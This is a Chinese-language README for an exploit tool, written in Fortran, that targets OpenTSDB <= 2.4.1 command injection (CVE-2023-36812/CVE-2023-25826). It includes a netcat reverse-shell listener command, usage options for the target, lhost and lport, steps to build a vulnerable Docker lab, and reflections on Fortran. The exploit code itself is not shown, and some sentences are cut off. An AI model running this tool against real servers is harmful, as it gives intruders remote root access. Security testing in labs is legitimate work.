OpenTSDB <= 2.4.1 命令注入的漏洞利用 (CVE-2023-36812/CVE-2023-25826),用Fortran编写。
一个针对 OpenTSDB <= 2.4.1 命令注入(CVE-2023-36812/CVE-2023-25826)的利用工具,使用 Fortran 编写
这是一个针对 OpenTSDB 2.4.1 及更早版本(CVE-2023-36812/CVE-2023-25826)命令注入漏洞的利用工具。该利用工具使用现代 Fortran 编写,并利用了今年早些时候官方发布的 Fortran http-client 库。
OpenTSDB 是一个用 Java 编写的开源时序数据库。2020 年,在 2.4.0 及更早版本中发现了一个命令注入漏洞,可利用该漏洞以 root 权限在主机上远程执行代码。由于 OpenTSDB 不支持身份验证,此漏洞(编号为 CVE-2020-35476)可被任何能访问 OpenTSDB Web 界面的攻击者利用。该问题在 2.4.1 版本中得到了修复。
今年发现,针对 CVE-2020-35476 的修复不完整,在 OpenTSDB 2.4.1 中仍可通过多种途径实现命令注入。
详情:
简短的回答是:我看到了这段对话:

使用曾用于将人类送上月球的编程语言编写漏洞利用工具的想法深深吸引了我,我必须亲自尝试。这个利用工具就是那次实验的成果。至于是否成功,我只能引用那些将所有开发者紧密联系在一起的、既睿智又荒诞的话语来回答:在我的机器上能运行。¯\(ツ)/¯
总之,我从这个项目中学到的主要几点是:
总而言之,很难想象这门语言会在攻击性安全领域真正获得重要地位,原因很简单:对于任何可预见的用例,都有大量成熟现代的替代语言(例如 Python、Go、Rust、Ruby、C# 等)。但如果你喜欢尝试不同的编程语言,并且不介意总是用 trim() 包裹你的字符串(请一定注意这一点,它将为你避免无数痛苦),那么 Fortran 绝对值得一试。我现在真心地看好这门语言,如果 http-client 库继续获得功能支持,我可能会再次使用它,特别是如果未来添加了 http-server 库的话。
TL;DR:Fortran http-client 库,冲冲冲。
nc -nlvp 1337
opentsdb_key_cmd_injection 目录# cd /path/to/opentsdb_key_cmd_injection/
fpm 运行该项目(请确保首先安装 fpm。参见下一节的安装说明)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
选项:
-t - 目标 URL:OpenTSDB 的基础 URL(必填)-l - 本地主机地址:运行监听器的系统的 IP 地址(必填)-p - 本地端口:监听器端口号(必填)-v - 详细输出:启用详细打印(可选)gfortran。在基于 Debian 的系统上可通过以下命令完成:apt install gfortran
chmod +x /<path>/to/fpm
安装 fpm 之前,请确保你的系统上已安装 git。
手动安装可参考官方安装说明此处。不过这可能会比较麻烦,因此我建议使用 Docker。
对于 2.4.0 版本,你可以使用 vulnhub Docker 镜像,并按照此处的安装说明进行操作。该镜像是为 CVE-2020-35476(OpenTSDB 2.4.0 及更早版本的一个较旧漏洞)创建的。
对于 2.4.1 版本(以及可能的任何其他版本),你可以利用 vulhub 的 OpenTSDB 2.4.0 镜像,并通过修改它来安装你需要的版本。我对 2.4.1 版本采用了这种方法,效果很好。
Dockerfile 和 docker-entrypoint.sh 文件,并将它们存放在一个专用目录中。Dockerfile 中,将所有 2.4.0 的实例替换为你想要的版本,例如 2.4.1docker-entrypoint.sh 无需修改docker-compose.yml 文件:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
我使用的文件结构如下:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml 文件的目录中执行以下命令:docker-compose up -d
Fortran 通常被认为是一种古老的语言,在现代计算史上扮演过重要角色,但如今已不再相关。它于 1957 年首次发布,比 ARPANET 和 Unix 都早了十多年。根据这个时序数据视频,Fortran 在 20 世纪 60 年代和 70 年代是占主导地位的编程语言,并且直到 20 世纪 90 年代末仍位居最受欢迎的 10 种语言之列。但到 Windows 98 发布时,它显然已经过时,被 C、C++、Java 和 JavaScript 等更现代的语言所取代——这些语言至今仍被广泛使用。
除了那些维护遗留系统的勇敢者之外,我怀疑过去二十年间 IT 领域(更不用说我们这个圈子之外了)有多少人遇到过 Fortran,甚至知道它仍然存在。尽管如此,Fortran 仍在积极开发中。正如官方 Fortran 网站所述,该语言最后一次修订是在 2018 年,我们有望在今年(2023 年)看到另一次修订。事实上,Fortran 社区在过去几年里似乎一直非常活跃,推出了几个重大项目来推动生态系统现代化,包括:
鉴于此,维护者们似乎意在让 Fortran 在一定程度上重获新生,或者至少给这门语言一个再存活几十年的机会。即使是最狂热的 Fortran 拥趸,大概也不指望这门语言能再次进入最流行编程语言的前十名,但该语言及其生态系统的持续现代化很可能使 Fortran 比过去一二十年更具相关性。